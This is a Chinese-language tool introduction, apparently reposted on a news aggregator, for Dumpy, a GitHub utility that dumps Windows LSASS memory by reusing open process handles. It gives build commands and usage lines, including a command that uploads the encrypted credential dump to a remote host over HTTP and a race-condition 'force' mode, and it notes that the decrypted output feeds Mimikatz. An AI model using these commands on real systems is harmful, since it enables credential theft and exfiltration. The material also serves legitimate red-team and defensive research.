当前位置: 首页 > news >正文

Dumpy:一款针对LSASS数据的动态内存取证工具

关于Dumpy

Dumpy是一款针对LSASS数据的动态内存取证工具,该工具专为红队和蓝队研究人员设计,支持重新使用打开的句柄来动态转储 LSASS。

运行机制

Dumpy可以动态调用 MiniDumpWriteDump 来转储 lsass 内存内容。此过程无需打开 lsass 的新进程句柄,也无需使用DInvoke_rs。

为了在不调用 lsass 上的 OpenProcess 的情况下获得有效的进程句柄,系统中的所有进程句柄都使用 NtQuerySystemInformation、NtDuplicateObject、NtQueryObject 和 QueryFullProcessImageNameW 进行分析。

在将内存转储存储到磁盘或通过 HTTP 发送之前,该工具会使用 NTFS 事务对其进行异或运算。

工具要求

Rust

cargo

工具安装

接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

C:\Users\User\Desktop> git clone https://github.com/Kudaes/Dumpy.git

然后在release模式下编译项目代码并执行即可:

C:\Users\User\Desktop\Dumpy\dumpy> cargo build --releaseC:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h

如果您想要为 x86 系统编译该工具,请修改文件 .cargo\config 中的选项“target”的值(例如:target =“i686-pc-windows-msvc”)。

工具使用

Usage: dumpy.exe --dump|--decrypt [options]Options:-h, --help            打印工具帮助信息你--dump          转储Lsass数据--decrypt        解密之前生成的转储文件-f, --force            通过竞争条件强制服务暴露lsass句柄、-k, --key             加密密钥 [默认: 1234abcd]-i, --input            加密转储文件 [默认: c:\temp\input.txt]-o, --output          目的路径 [默认: c:\temp\output.txt]-u, --upload          上传URL

工具运行演示

dump命令

它将执行转储 lsass 的主要逻辑。默认情况下,它将结果存储在当前目录中具有随机名称的 xored 文本文件中。upload 选项允许通过 HTTP 将内存内容发送到远程主机,从而避免在磁盘上创建 xored 文件。相关命令执行如下:

C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload

使用竞争条件中强制暴露lsass句柄,并结合force参数:

C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force

decrypt命令

此操作允许以与 Mimikatz 等工具所期望的格式相同的格式获取解密的内存转储。它需要 xored 内存转储、加密密钥和输出文件路径作为参数。如果 xored 文件是使用 HTTP 上传的,则需要在解密过程之前对内容执行 base64 解码:

C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey

许可证协议

本项目的开发与发布遵循GPL-3.0开源许可协议。

项目地址

Dumpy:【GitHub传送门】

参考资料

https://github.com/Kudaes/DInvoke_rs

https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

https://twitter.com/splinter_code

https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html

http://www.lryc.cn/news/430019.html

相关文章:

  • TinyEngine是什么?
  • FPGA跨时钟域处理
  • 【Docker深入浅出】Docker镜像
  • “LOCAL_LISTENER”参数导致业务无法连接数据库,文末附Oracle连接故障检查监听的排查流程
  • Vmware虚拟机接入物理机路由器网络
  • yolov8旋转框+关键点检测
  • Qt-QWidget的windowTitle属性(13)
  • RCE编码绕过--php://filter妙用
  • FactoryBean 与 BeanFactory
  • 【迅为RK3568开发板】OpenHarmony学习开发系列教程(第2期 南向基础篇一)
  • 编程修炼之Hibernate--- springboot启动初始化ddl过程与如何自定义修改 table 字段长度
  • TOMCAT入门到精通
  • Android笔试面试题AI答之Kotlin(18)
  • Linux基础知识学习(五)
  • 股票买卖的思路与代码
  • Eureka Server与Eureka Client详解:服务注册与发现的交互机制
  • php-fpm 如何查看哪个正在执行死循环 并终止
  • 电脑硬盘坏了怎么恢复数据?
  • cdga|某大型企业数据治理的成功转型:构建数据驱动的竞争力新引擎
  • C#使用 ModeBusTCP读取汇川Easy521PLC
  • PostgreSQL的postgres主进程
  • Java实现K个排序链表的高效合并:逐一合并、分治法与优先队列详解
  • Xinstall揭秘:高效App推广背后的黑科技
  • 星巴克VS瑞幸,新王、旧王之争给新CEO带来哪些启示
  • C语言 | Leetcode C语言题解之第354题俄罗斯套娃信封问题
  • 大型俄罗斯国际展览会介绍
  • CST软件仿真案例:圆极化平板天线仿真02
  • 【前端】vue监视属性和计算属性对比
  • 探索提示工程 Prompt Engineering的奥妙
  • 算法阶段总结1